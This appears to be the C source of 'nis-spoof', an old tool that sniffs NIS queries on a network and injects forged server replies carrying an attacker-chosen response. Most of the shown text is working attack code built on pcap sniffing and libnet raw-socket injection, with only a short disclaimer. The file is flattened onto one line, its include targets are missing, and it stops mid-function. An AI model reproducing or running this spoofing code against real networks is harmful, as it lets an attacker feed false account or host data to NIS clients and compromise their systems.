/* Spoof the response from a NIS server to a client. Be nice, I'm not * responsible if you do illegal things with this, nor do I condone it. I * just thought it was interesting and others might as well. cc `libnet-config --cflags --defines` nis-spoof.c -lpcap \ `libnet-config --libs` -o nis-spoof Licensed under the terms of the GPL. $Id: nis-spoof.c,v 1.1.1.1 2000/05/11 23:17:20 tschroed Exp $ See http://www.zweknu.org/src/nis-spoof/ for the latest version */ #include #include #include #include #include #include #ifdef __OpenBSD__ #include #include struct pcap { int fd; /* Who cares what else is in there? */ }; #endif /* __OpenBSD__ */ /* This simulates the {old|new} pcap_immediate() function. It may not do * anything on some platforms. */ int my_pcap_immediate(pcap_t *p) { /* Thanks to Michael T. Stolarchuk for the bit to do this and * lots of other info besides. */ #ifdef __OpenBSD__ unsigned int value=1; struct pcap *sp=(struct pcap*)p; /* I don't know that this jives with what pcap_immediate() is * supposed to return, but the pcap man page only specifies that * error == -1 */ return ioctl(sp->fd,BIOCIMMEDIATE,&value); #else return -1; #endif /* __OpenBSD__ */ } /* I'm making this stuff up. I don't actually *know* the NIS protocol, * just what I get on a packet dump. */ /* Assume 32 bit arch... */ struct nisquery_st { u_int serial; char dragons[36]; /* I see 86a4 in all the dragons, even on Linux. I wonder what that's about. */ u_int dom_len; char domainname[1024]; u_int map_len; char mapname[1024]; u_int key_len; char key[1024]; }; /* More guesswork */ char voodoo[]={ 0,0, 0,1,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0, 0,0,0,0,0,1}; struct nisresponse_st { u_int serial; char magic[sizeof(voodoo)]; u_int resp_len; char resp[1024]; }; #define MAC_HEADER_LEN 14 #define PACKET_SIZE 4096 #define PROMISC 1 /***************/ /* Global Vars */ /***************/ struct nisquery_st nq; struct nisresponse_st nr; pcap_t *sniffer; u_short port=0; char hostname[64],etherdev[64],key[64],map[64],domain[64]; u_char *ippacket; int rawsock; /***************/ /***************/ /***************/ void usage(FILE *out,char *name) { fprintf(out,"Usage %s -h -p -r -i " "-k -m -d \n",name); } void set_options(int argc,char **argv) { char ch; while((ch=getopt(argc, argv, "p:h:r:i:m:d:k:"))!=-1) { switch(ch) { case 'm': strncpy(map,optarg,sizeof(map)); map[sizeof(map)-1]=0; break; case 'd': strncpy(domain,optarg,sizeof(domain)); domain[sizeof(domain)-1]=0; break; case 'k': strncpy(key,optarg,sizeof(key)); key[sizeof(key)-1]=0; break; case 'p': port=atoi(optarg); break; case 'h': strncpy(hostname,optarg,sizeof(hostname)); hostname[sizeof(hostname)-1]=0; break; case 'i': strncpy(etherdev,optarg,sizeof(etherdev)); etherdev[sizeof(etherdev)-1]=0; break; case 'r': strncpy(nr.resp,optarg,sizeof(nr.resp)); nr.resp[sizeof(nr.resp)]=0; nr.resp_len=strlen(nr.resp); nr.resp_len=htonl(nr.resp_len); break; case '?': default: usage(stderr,argv[0]); exit(1); } } } /* int open_rawsock(void) { int rawsock,val=1; if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { perror("socket"); exit(1); } if(setsockopt(rawsock,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0) { perror("setsockopt"); exit(1); } return rawsock; } */ int open_rawsock(void) { int rawsock; if(libnet_init_packet(PACKET_SIZE,&ippacket)==-1) { perror("libnet_init_packet"); exit(1); } if((rawsock=libnet_open_raw_sock(IPPROTO_RAW))==-1) { perror("libnet_open_raw_sock"); exit(1); } return rawsock; } pcap_t *open_sniffer(void) { char filterstr[1024],errbuf[4096]; pcap_t *capdev; struct bpf_program filter; int localnet=0,netmask=0; sprintf(filterstr,"dst host %s and udp and dst port %d",hostname,port); printf("Filter: \"%s\"\n",filterstr); if((capdev=pcap_open_live(etherdev,PACKET_SIZE,PROMISC,1,errbuf))==NULL) { fprintf(stderr,"pcap_open_live: %s\n",errbuf); exit(1); } if(pcap_lookupnet(etherdev,&localnet,&netmask,errbuf)) { fprintf(stderr,"pcap_lookupnet: %s\n",errbuf); exit(1); } if(pcap_compile(capdev,&filter,filterstr,1,netmask)) { pcap_perror(capdev,"pcap_compile"); exit(1); } if(pcap_setfilter(capdev,&filter)) { pcap_perror(capdev,"pcap_setfilter"); exit(1); } my_pcap_immediate(capdev); return capdev; } /* Send a response to buf */ void send_response(char *buf,int len) { int i; u_char ihl=4*(0xF&(u_char)buf[MAC_HEADER_LEN]); u_char scratch[4]; u_short tlen,rlen,payload_len; buf+=MAC_HEADER_LEN; rlen=0xFFFF&(ntohl(nr.resp_len) + ((ntohl(nr.resp_len)%4)?4-(ntohl(nr.resp_len)%4):0)); bzero(ippacket,sizeof(ippacket)); nr.serial=nq.serial; bcopy(buf,ippacket,len); /* printf("##############################################\n"); */ payload_len=sizeof(nr)-sizeof(nr.resp)+rlen; bcopy(&nr,ippacket+len,payload_len); tlen=len+payload_len; /* for(i=0;i